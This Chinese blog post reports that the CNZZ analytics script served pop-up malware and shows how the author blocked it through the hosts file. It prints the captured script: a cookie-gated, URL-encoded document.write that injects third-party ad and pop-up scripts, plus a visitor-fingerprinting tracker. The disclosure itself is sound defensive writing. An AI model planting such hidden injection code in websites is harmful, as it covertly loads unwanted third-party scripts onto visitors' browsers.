CNZZ统计发现超级弹窗,弹出窗口超过10个,弹窗问题解决办法

CNZZ网站流量统计原理简析 这是我的网站www.iyizhan.com,其中只有一个页面index.html, 在index.html上放置了如下的 js 脚本: src="http://s11.cnzz.com/stat.php?id=5364825&web_id=5364825"  language="JavaScript"> 1.当用户访问这个页面时,会请求src,对应的是上面的脚本的源文件: 阅读详情
最近发现avast经常报毒,报毒地址为s16.cnzz com/stat.php,显然这个是统计代码,开始没有在意,后来发现浏览器弹窗越来越多,一次能弹出十多个。分析了好久,一直没找到原因,不厌其烦,经常导致浏览器崩溃甚至电脑死机。
今天发狠了要找出这个js木马地址。打开中国站长站,出现弹窗,刷新之后不再出现。毫无因为,从cookie下手。cookie里面只有站长站自己的cookie和cnzz的cookie。删掉cnzz,刷新,弹窗果然出现了。简直不敢相信,重复3次,确认是cnzz统计挂马。
解决
打开c:\Windows\System32\drivers\etc\hosts  
最后一行添加127.0.0.1 s16.cnzz.com
如果自己站有cnzz代码,速度删掉吧,太恶劣了。


附上代码:

http://s16.cnzz.com/stat.php?id=1444&web_id=1444

document.writeln("<div style=\'display:none\'>");
if(document.cookie.indexOf('20130813')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='20130813=Yes;path=/;expires='+expires.toGMTString();document.write(unescape('%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//p1.0817tt.com/fshow.php%3Fid%3D193777%22%3E%3C/script%3E%0A%3Cscript%20type%3D%22text/javascript%22%20charset%3D%22utf-8%22%20src%3D%22http%3A//s.9158918.com/AShow.aspx%3FAID%3D17693%22%3E%3C/script%3E%0A%3Cscript%20src%3D%22http%3A//js.unionbig.com/p.php%3Fpid%3D33242%22%3E%3C/script%3E%0A%3Cscript%20type%3D%22text/javascript%22%20src%3D%22http%3A//cbjs.baidu.com/js/m.js%22%3E%3C/script%3E%0A%3Cscript%20type%3D%22text/javascript%22%3EBAIDU_CLB_fillSlot%28%22770667%22%29%3B%3C/script%3E'));}
document.writeln("</div>");

;(function(global){
	global.Ta=global.Ta||{};
	Ta.hack=function(){
		return {params:'',
		conf:{sid:25815551,pf:1,logo:255,hot:{}}		};
	};
})(this);

(function(g,t){function y(d){return(d=document.cookie.match(RegExp("(?:^|;\\s)"+d+"=(.*?)(?:;\\s|$)")))?d[1]:""}function z(d,a,b){d=d+"="+a+";path=/;domain=";a=window.location.host;var c={"com.cn":1,"net.cn":1,"gov.cn":1,"com.hk":1},e=a.split(".");2<e.length&&(a=(c[e.slice(-2).join(".")]?e.slice(-3):e.slice(-2)).join("."));document.cookie=d+a+(b?";expires="+b:"")}function u(d){var a,b,c,e={};void 0===d?(c=window.location,d=c.host,a=c.pathname,b=c.search.substr(1),c=c.hash):(c=d.match(/\w+:\/\/((?:[\w-]+\.)+\w+)(?:\:\d+)?(\/[^\?\\\"\'\|\:<>]*)?(?:\?([^\'\"\\<>#]*))?(?:#(\w+))?/i)||
[],d=c[1],a=c[2],b=c[3],c=c[4]);if(b)for(var g=b.split("&"),l=0,q=g.length;l<q;l++)if(-1!=g[l].indexOf("=")){var n=g[l].indexOf("="),p=g[l].slice(0,n),n=g[l].slice(n+1);e[p]=n}return{host:d,path:a,search:b,hash:c,param:e}}function A(d){return(d||"")+Math.round(2147483647*(Math.random()||0.5))*+new Date%1E10}function B(d,a){var b=document.createElement("script"),c=document.getElementsByTagName("script")[0];b.src=d;b.type="text/javascript";b.onload=b.onerror=b.onreadystatechange=function(){/loaded|complete|undefined/.test(b.readyState)&&
(b.onload=b.onerror=b.onreadystatechange=null,b.parentNode.removeChild(b),b=void 0,a())};c.parentNode.insertBefore(b,c)}function x(d){d=d||{};if(d.conf){var a=d.conf,b;for(b in a)a.hasOwnProperty(b)&&(g[b]=a[b])}if(g.sid&&!Ta[g.sid]){a=[];b=0;var c=u(),c={dm:c.host,pvi:"",si:"",url:c.path,arg:encodeURIComponent(c.search||""),ty:1},e=y("pgv_pvi");e||(c.ty=0,e=A(),z("pgv_pvi",e,"Sun, 18 Jan 2038 00:00:00 GMT;"));c.pvi=e;e=y("pgv_si");e||(e=A("s"),z("pgv_si",e));c.si=e;var e=u(document.referrer),s=u(),
e={rdm:e.host,rurl:e.path,rarg:encodeURIComponent(e.search||""),adt:s.param.ADTAG||s.param.adtag},s={r2:g.sid,r3:"undefined"==typeof _speedMark?"-1":new Date-_speedMark,r4:g.pf||1},l;a:{try{var w=navigator,n=screen||{width:"",height:"",colorDepth:""},p=document.body,t=n.width+"x"+n.height,x=n.colorDepth+"-bit",E=(w.language||w.userLanguage).toLowerCase(),F=w.javaEnabled()?1:0,G=(new Date).getTimezoneOffset()/60,n="";p.addBehavior&&(p.addBehavior("#default#clientCaps"),n=p.connectionType);var p={fl:"",
scr:t,scl:x,lg:E,jv:F,tz:G,ct:n},m,j,f;if((l=w.plugins)&&(m=l.length))for(f=0;f<m;f++){if(j=l[f].description.match(/Shockwave Flash ([\d\.]+) \w*/))p.fl=j[1]}else f=(new ActiveXObject("ShockwaveFlash.ShockwaveFlash")).GetVariable("$version"),p.fl=f.replace(/^.*\s+(\d+)\,(\d+).*$/,"$1.$2")}catch(I){l={};break a}l=p}m={};if("undefined"!=typeof _taadHolders&&0<_taadHolders.length){j=0;f=_taadHolders;for(p=f.length;j<p;j++)m[f[j]]=m[f[j]]?m[f[j]]+1:1}j=[];for(var v in m)m.hasOwnProperty(v)&&j.push(v+
"*"+m[v]);v={ext:"adid="+j.join(":")};var h;m=[];for(h in q)j=y(q[h].c_id),"afs"==h?f=(f=/ssid=([^&]*)/i.exec(u().hash))&&f[1]?f[1]:"":(f=u().param,f=f[q[h].id]?f[q[h].id]:""),f?(m.push("ty="+q[h].key+";ck=0;id="+f),j=new Date,j.setTime(j.getTime()+2592E6),z(q[h].c_id,f,j.toGMTString())):j&&m.push("ty="+q[h].key+";ck=1;id="+j);h={pf:m.join("|")};h=[c,e,s,l,v,h,{random:+new Date}];for(c=h.length;b<c;b++)for(var k in h[b])h[b].hasOwnProperty(k)&&a.push(k+"="+(h[b][k]||""));d.params&&a.push(d.params);
var C=Ta.src=("https:"==document.location.protocol?"https://pingtas":"http://pingtcss")+".qq.com/pingd?"+a.join("&"),r=new Image;Ta[g.sid]=r;r.onload=r.onerror=r.onabort=function(){r=r.onload=r.onerror=r.onabort=null;Ta[g.sid]=!0};r.src=C;if(1*!g.pf||g.hot.isValid){d=window.location;k=d.host+d.pathname;var H=d.pathname,D=function(){B("http://imgcache.qq.com/bossweb/ta/scripts/ping_hotclick_min.js",function(){window.hotclick&&(new hotclick(C)).watchClick()})};if(1*g.pf)RegExp(k).test(g.hot.url)&&D();
else{k=g.sid;d="http://tcss.qq.com/heatmap/"+k%100+"/";k+="";h=k.length;b=0;for(a="";b<h;){c=k.charCodeAt(b++)&255;if(b==h){a+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(c>>2);a+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt((c&3)<<4);a+="==";break}e=k.charCodeAt(b++);if(b==h){a+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(c>>2);a+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt((c&3)<<
4|(e&240)>>4);a+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt((e&15)<<2);a+="=";break}s=k.charCodeAt(b++);a+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(c>>2);a+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt((c&3)<<4|(e&240)>>4);a+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt((e&15)<<2|(s&192)>>6);a+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(s&63)}B(d+
a+".js?random="+ +new Date,function(){var a;if(window._Cnf&&(a=window._Cnf.url)){a=a.split("|");for(var b=0;b<a.length;b++)if(a[b]==H){D();break}}})}}g.logo&&255!=g.logo&&(d=g.logo,k={9:"\u817e\u8baf\u5206\u6790",10:"\u7f51\u7ad9\u7edf\u8ba1",df:'<img src="http://tcss.qq.com/icon/toss_'+d+'.gif" border="0" />'},document.write(['<a href="http://ta.qq.com?ADTAG=FROUM.FOOTER.CLICK.ICON" title="\u817e\u8baf\u5206\u6790" target="_blank">',k[d]||k.df,"<a>"].join("")))}}var q={afs:{key:1,id:"ssid",c_id:"pgv_afsid",
fr:"hash"},afc:{key:2,id:"__tacid",c_id:"pgv_afcid",fr:"param"},gdt:{key:11,id:"qz_gdt",c_id:"pgv_gdtid",fr:"param"}};t.pgvSendClick=function(d,a){var b=Ta.src.replace(/ext=[^&]*/,function(){return"ext="+("evtid"==a?"ty=0;evtid=":"adid=")+d}).replace(/r2=([^&]*)/,function(a,b){return"r2=a"+b});(new Image(1,1)).src=b};t.Ta=t.Ta||{};Ta.pgv=x;!Ta.async&&x(Ta.hack?Ta.hack():"")})({sid:"",pf:"",hot:{url:"",isValid:!1}},this);


整人的bat程序 一个很好的整人的bat程序,经本人亲自测试,非常好用。 立即下载

相关推荐

超级24小时弹窗代码 24小时退出弹窗代码 100%弹窗代码(IE only)

Javascript 超级弹窗代码 24小时弹窗代码 24小时退出弹窗代码 100%弹窗代码

屏蔽所有统计代码(51.la cnzz 百度统计 谷歌分析师adsense、屏蔽淘宝客广告代码)的方法

支持百度统计 、51.la统计cnzz统计、51yes统计、谷歌分析师、阿里妈妈淘宝客广告、chinaz弹窗,如果有更多的需要屏蔽的,欢迎联系 default7#zbphp.com 修改etc的hosts文件,Win7 地址位置:C:\Windows\System32\drivers\etc\hosts 加入内容:(如果是xp系统,将 ::1 改成127.0.0.1即可)

____ 1万+

科技中介如何高效匹配技术供需?.docx

科技中介如何高效匹配技术供需?

社会化统计工具分享之Google分析、cnzz、51la、百度统计和Js比较

流量统计作为互联网站点最基础的数据分析工具,几乎与每个站长、互联网从业者相关。在互联网这个没有硝烟的战场上,流量统计工具就像打仗用的武器。能否选好适合自己的武器、用好武器,很大程度上决定了我们的胜败。       流量统计作为互联网站点最基础的数据分析工具,几乎与每个站长、互联网从业者相关。在互联网这个没有硝烟的战场上,流量统计工具就像打仗用的武器。能否选好适合自己的武器、用好武器,很大程度上决

Enweitech Software Works 1万+

OpenResty代理CNZZ实现内网访问统计

用户在没有进行上网认证之前,只能访问我们的某一台服务器,这台服务有web网页,需要用CNZZ统计网页的浏览量等。 CNZZ并没有在网关的白名单中,所以需要通过代理完成用户浏览器到cnzz服务器的这段通信。 参考google的代理统计方式, 感觉 Openresty代理应该可行,然后就行了一些实验。cnzz 流程调试<script src="http://s11.cnzz.com/z_stat.ph

orangleliu 笔记本 2909

CNZZ统计后台出现广告怎么办?教你一招解决

现在出现很多利用统计代码,在你统计网站后台疯狂刷广告。虽然对本身站点数据不会有影响,但是看着实在太恶心了。 现在教大家一个方法,如果你也想解决CNZZ统计后台出现广告的问题,那么就要好好看一看了! 首先打开CNZZ站点,在获取统计代码的页面,复制文字形式第二种的代码,或者图片形式1、图片形式2、图片形式3的代码都可以。 例如后台给的统计代码是这样的 <script type="text/javascript"> document.write(unescape("%3Cspan id='cnzz_

君笑尘的技术博客 1434

关于使用cnzz统计出现广告的情况研究说明

之前我在做网站时,首先想到的是cnzz数据统计服务,现在被友盟合并了。   经常发现网站里面会莫名其妙的出现广告,但是我自己并没有加入到任何广告联盟。感觉非常奇怪,去网上搜了一下,然后发现网上说的基本都是对cnzz的谩骂 对cnzz的谩骂我也觉得很郁闷,感觉他们是在作死,然后我今天又遇到了这个问题,换了一个百度的统计发现还是存在这个问题,接着仔细查看了一下问题及原因:发现了红线框内的东西。

夜之寐 的技术博客 5550

网站CNZZ数据统计的实现方式

为了方便网站管理者 [ 以下简称:站长 ] 统计分析网站受访情况,很多站长选择使用了 友盟+ 提供的站长 CNZZ数据统计 接口。 样式截图如下: 这里介绍以下两个业务实现方法: cnzz数据统计申请设置与引入使用的详细步骤 cnzz数据统计查看密码的设置 1. cnzz数据统计申请设置与引入使用的详细步骤 进入:友盟+官方网站进行账号注册与登录 进入:网站统计 U-Web 申请...

草巾冒小子的博客 5974

js判断字数的显示,超过显示为...

html: <td class="superiorName" th:text="${dealerList.superiorName}"></td> js: <script type="text/javascript"> // 限制字数为10个,多余的为空格 $(function(){ $(".superiorName").each(function () { var maxwidth = 10; .

weixin_52767537的博客 795

CNZZ后台偷偷跑广告

所在公司的网站手机页面一直有用户反馈带广告,卖车卖神油,追踪了很久没找到原因,直到某天领导发火,才静下心认真去追踪广告代码究竟在哪。 追踪过程记录如下,请参考第一步、定位广告位是由js动态添加的首先第一步,从谷歌浏览器的network中,找到很多广告的链接,加载广告js、css和相关资源,由此确定第一件事,广告是js加载的。第二步、排除多余的js追踪多层包含的js,我司网站的js除却自己写的一部分

程序从业者-期望走的更远 7536

弹窗统计

target: 指标 弹窗的曝光 人数,次数,占首页UV和PV的占比 弹窗给5星好评按钮点击 人数,次数,占弹窗曝光人数或次数的占比 弹窗去反馈按钮点击 人数,次数,占弹窗曝光人数或次数的占比 弹窗关闭按钮点击 人数,次数,占弹窗曝光人数或次数的占比 点击关闭后二次弹出弹窗的曝光 人数,次数,占首页UV和PV的占比 点击关闭后二次弹出弹窗给5星好评按钮点击 人数...

Tardis1的专栏 689

今天cnzz统计量突然暴跌的原因

相信不少站长关注自己cnzz报表的话都会发现,可能今天流量暴跌。秀萌网流量也是跌了将近五分之一。最近两天cnzz好像事故频繁,根据秀萌网站长的统计和分析,其实真正的流量并没有损失,而是cnzz没有统计上这部分流量。首先一部分应该是安装有avast杀毒软件的用户,这部分用户没有办法加载cnzz统计的js脚本,详细原因请看秀萌日志的文章“网站使用CNZZ的脚本,AVAST也报毒?”。根据CNZZ客服的

2291

从今天起,我决定去掉cnzz统计

近来,许多站长朋友诉苦,CNZZ太烂了,不稳定,统计不准,还老出问题。   我一直用CNZZ,实话实说,以前还挺不错的,自从被友盟收购后,大不如前,客服爱理不理,若不是使用了多年,尚且有些情分,早就更换了。人都是懒惰的,习惯了某样事物,就不想轻易更改。   今天下午,在水群的时候,看到一张截图,我决定去掉CNZZ统计。   德国作家赫尔曼・黑塞说过一句名言,当一艘船即将沉没时,首先...

qingfenxulai3333的博客 4293

UTF-8编码下\u7528\u6237转换为中文汉字

有过多次,在开发项目中遇见设置文件编码格式为UTF-8,但是打开该文件出现类似\u7528这样的数据,看也看不懂,也不是平常见到的乱码。这里的\u7528类似的数据,其中'\u'表示UNICODE编码,其实数据就是对应的UTF-8下的汉字。

niaonao 11万+

后悔用了CNZZ的网站统计 ~~~~~~~~~~~~~~到最后还是用51.La的。

原先一直用51.la的,后来因为别人都在宣传CNZZ,而且感觉CNZZ还蛮气派的样子,便也用CNZZ统计了。  可是,到现在后悔到来不及了。网站以及有了很大的流量了,在CNZZ里面似乎不保存以往的访问记录的,而且查询起来非常不方便。其实原先也尝试过试用CNZZ统计,但是一看他的界面就没有用了。几次强迫自己去适应都没成功。现在突然间用了CN

____ 3349
上一篇: amazon ec2免费云主机 免key pair ssh登陆
下一篇: PHP上传$_FILES数组为空
Ibrahim
博客等级 码龄19年 10粉丝 73原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值